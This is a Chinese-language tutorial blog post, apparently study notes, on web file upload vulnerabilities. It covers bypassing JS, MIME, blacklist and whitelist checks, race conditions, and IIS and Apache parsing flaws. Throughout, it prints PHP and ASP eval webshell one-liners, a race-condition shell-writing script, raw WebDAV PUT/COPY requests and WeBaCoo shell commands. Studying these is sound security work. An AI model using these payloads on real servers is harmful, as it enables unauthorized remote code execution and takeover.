Web安全——文件上传漏洞

文件上传漏洞

绕过JS验证

  • 通过表单上传时,可能存在JS对文件类型、大小的检验

  • 使用BurpSuite剔除相应JS

  • 上传WebShell,使用菜刀连接

    <?php @eval($_POST["cmd"]);?>

绕过MIME_Type验证

  • MIME(Multipurpose Internet Mail Extensions)多用途互联网邮件扩展类型。是设定某种扩展名的文件用一种应用程序来打开的方式类型,当该扩展名文件被访问的时候,浏览器会自动使用指定应用程序来打开。多用于指定一些客户端自定义的文件名,以及一些媒体文件打开方式。
  • 通过$_FILE['upload_file']['file']获取上传文件的MIME_Type类型。其中upload_file实在表单中定义的。
  • 使用BurpSuite绕过Mime-Type验证,在Repeater重放修改MIME-Type类型绕过验证
  • 上传WebShell,使用菜刀连接

绕过黑名单验证

  • 对于文件上传模块来说,尽量避免上传可执行的脚本文件。为了防止上传脚本需要设置对应的验证方式。最简单的就是设置文件后缀名验证。
  • 分类:1. 黑名单,2. 白名单
  • 基于黑名单验证代码分析:
    1. 寻找“漏网之鱼”
    2. 使用BurpSuite,利用Intruder模块枚举,寻找黑名单中没有过滤的后缀名

绕过黑名单验证(.htaccess)

  • .htaccess介绍:是Apache服务器中的一个配置文件,它负责相关目录下的网页配置。通过.htaccess文件,可以帮我们实现:网页301重定向、自定义404错误页面、改变文件扩展名、允许/阻止特定的用户或者目录的访问、禁止目录列表、配置默认文档等功能。

  • 其中.htaccess文件内容:SetHandler application/x-httpd-php设置当前目录所有文件都使用PHP解析,那么无论上传任何文件,只要文件内容符合PHP语言代码规范,就会被当作PHP执行。不符合则报错。

  • 在Apache中如果需要启动 .htaccess,必须在http.conf中设置 AllowOverride

  • 在黑名单中,没有对.htaccess进行过滤,可以直接上传.htaccess来设置使用php解析任意文件。

    文件内容:SetHandler application/x-httpd-php

  • 制作图片phpinfo探针并上传:使用文本编辑工具写入php代码:<?php phpinfo();?>,保存为1.jpg进行上传即可。

绕过黑名单验证(大小写绕过)

  • Windows下,对于文件名中的大小写不敏感,Linux下,文件名的大小写敏感。
  • 黑名单中,有.htaccess,但是缺少了上传文件名获取的大小写转换。
  • 修改后缀名,如PhP,上传。
  • 连接

绕过黑名单验证(空格绕过)

  • Windows系统下,文件名中空格会被当作空处理,程序中的监测代码缺不能自动删除空格。从而绕过黑名单。
  • 针对这样的情况,需要使用BurpSuite阶段HTTP请求之后,修改对应的文件名,添加空格。
  • 连接

绕过黑名单验证(.验证)

  • Windows系统下,文件后缀名最后一个.会被自动去除

    eg:Windows下新建一个1.php.文件,查看保存后的文件名为1.php

  • 代码中缺少去除文件名最后 ‘.’ 的处理,可利用Windows特性绕过。

  • 发包,使用BurpSuite截断,改包,发送。

绕过黑名单验证(特殊符号绕过)

  • Windows系统下,如果上传的文件名中test.php::$DATA会在服务器上生成一个test.php的文件,其中内容和所上传文件内容相同,并被解析。
  • 在Linux下,或用BurpSuite,修改文件名为1.php::$DATA进行上传。
  • 上传WebShell

绕过黑名单验证(路径拼接绕过)

  • 原理:在没有对上传的文件进行重命名的情况下,用户可以自定义文件名并在服务器中上传新建,就会造成对应的绕过黑名单。

    eg:用户新建1.php. .,deldot删除最后一个点之后,不再进行删除,trim删除空格,最终上传的文件名为1.php.

  • 上传小WebShell(绕过文件大小限制等),再通过小WebShell上传大WebShell

绕过黑名单验证(双写绕过)

  • 代码编写过程中,只对黑名单进行空替换,因为只替换一次所以造成双写绕过。

  • str_ireplace() 函数替换字符串中的一些字符(不区分大小写)。

  • 该函数必须遵循下列规则:

    1. 如果搜索的字符串是一个数组,那么它将返回一个数组。

    2. 如果搜索的字符串是一个数组,那么它将对数组中的每个元素进行查找和替换。

    3. 如果同时需要对数组进行查找和替换,并且需要执行替换的元素少于查找到的元素的数量,那么多余元素将用空字符串进行替换

    4. 如果是对一个数组进行查找,但只对一个字符串进行替换,那么替代字符串将对所有查找到的值起作用。

    • 注释:该函数不区分大小写。请使用 str_replace() 函数来执行区分大小写的搜索。

    • 注释:该函数是二进制安全的。

  • 上传,连接

绕过白名单验证(00截断验证)

  • 00截断原理:0x00是十六进制表示方法,是ascii码为0的字符,在有些函数处理时,会把这个字符当做结束符。

    系统在对文件名的读取时,如果遇到0x00,就会认为读取已结束。

    (在PHP5.3之后的版本中完全修复了00截断。并且00截断受限与GPC,addslashes函数。)

  • GET型00截断

    1. GET型提交的内容会被自动进行URL解码(一i的那个要关闭GPC,否则无法成功)
  • POST型00截断

    1. POST请求中,%00不会被自动解码,需要再16进制中进行修改00。

图片WebShell上传

  • 在服务端的PHP代码中,对于用户上传的文件做文件类型检查,查看文件格式是否符合上传规范。可以检查文件二进制格式的前几个字节,从而判断文件类型是否正确。

  • eg:<1.jpg> “<?php phpinfo(); ?>

  • 上传图片WebShell文件,可能有Content-Type验证,修改为image/gif或image/jpg,符合当前文件类型的MIME-Type

  • 在PHP中,使用include、require、include_once、require_once函数包含的文件都会被当作PHP代码执行,无论文件的名称是什么,只要符合文件内容符合PHP代码规范,都会被当作PHP代码执行。

    <?php
    	if($_GET){
    		include($_GET[“file”])
    	}else{
    		echo “not get args file”;
    	}
    ?>
    

竞争上传

  • 文件上传过程:服务器获取文件 => 保存上传临时文件 => 重命名/移动临时文件

  • 竞争条件原理介绍:

    • 网站逻辑:

      1. 网站允许上传任意文件,然后检查上传文件是否包含Webshell,如果包含删除该文件。

      2. 网站允许上传任意文件,但是如果不是指定类型,那么使用unlink删除文件。

      3. 在删除之前访问上传的php文件,从而执行上传文件中的php代码。

      eg:上传文件代码如下:

      <?php
      	fputs(fopen('shell.php','w'),'<?php @eval($_POST["cmd"]) ?>');
      ?>
      

请添加图片描述

  • 先进行上传,后进行判断与删除,利用时间差进行WebShell上传。

  • 提前不断访问代码文件(python-requests),然后上传,最终使用菜刀连接一句话木马。

服务器(中间件)解析漏洞

  • IIS 6.0

    1. 建立 .asa、.asp格式的文件夹时,其目录下的任意文件都将被IIS当作asp文件解析。 <%=NOW()%>

    2. 当文件 *.asp;1.jpg IIS6.0同样会将文件作为asp文件解析。

    • WebDAV基于HTTP1.1协议的通信协议书的HTTP支持PUT、MOVE、COPY、DELETE方法。

    • 1、探测是否存在IIS PUT漏洞:

      OPTIONS / HTTP1.1
      Host: www.xxx.com
      

      2、上传txt文本文件:

      PUT /a.txt HTTP1.1
      Host:www.xxx.com
      Content-Length: 30
      
      <%eval request("chopper")%>
      

      3、通过Move或Copy重名

      COPY /a.txt HTTP1.1
      Host: www.xxx.com
      Destination: http://www.xxx.com/cmd.asp
      

      4、删除

      DELETE /a.txt HTTP1.1
      Host: www.xxx.com
      
    • IIS 6.0 PUT上传漏洞

      • 利用nikto探测
      • nikto -h <IP地址>
    • IIS 6.0 PUT上传利用

      • 利用BurpSuite进行IIS PUT漏洞利用。先用OPTIONS探测、PUT、MOVE、DELETE
  • Apache文件解析漏洞

    • 因为Apache认为一个文件可以拥有多个扩展名,哪怕没有文件名,也可以拥有多个扩展名。Apache认为应该从右到左开始判断解析方法的。如果最右侧的扩展名为不可识别的,就继续往左判断,直到判断到文件名为止。
    • 流程:
      1. 在站点下新建一个1.php.xxxx文件,xxxx为无法识别的后缀名,其中内容为phpinfo();
      2. 利用:
        1. 在Web程序上进行上传,但是有黑名单验证时,利用该解析漏洞可以上传对应的webshell到目标服务器。
        2. 上传一句话木马<?php @eval($_POST["cmd"]); ?>, 用中国菜刀连接。

IIS 6.0解析修复

  • IIS6.0默认的可执行文件除了asp还有三种:asa, .cer, .cdx
  • 修复:
    • 目前无官方补丁(微软不认为是漏洞)
    • 自己编写正则,组织上传xx.asp;.jpg类型的文件名
    • 做好限制设置,限制用户创建文件夹

WebShell生成工具

  • WeBaCoo:webacoo -g -o a.php 生成,webacoo -t -u webshell地址 连接
  • 0
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值